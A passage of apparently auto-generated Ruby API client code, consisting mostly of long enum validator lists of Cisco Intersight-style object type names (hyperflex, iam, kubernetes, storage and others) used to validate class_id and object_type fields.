\"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", \"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", \"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", \"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", \"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", \"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", \"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", \"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", \"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", \"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", 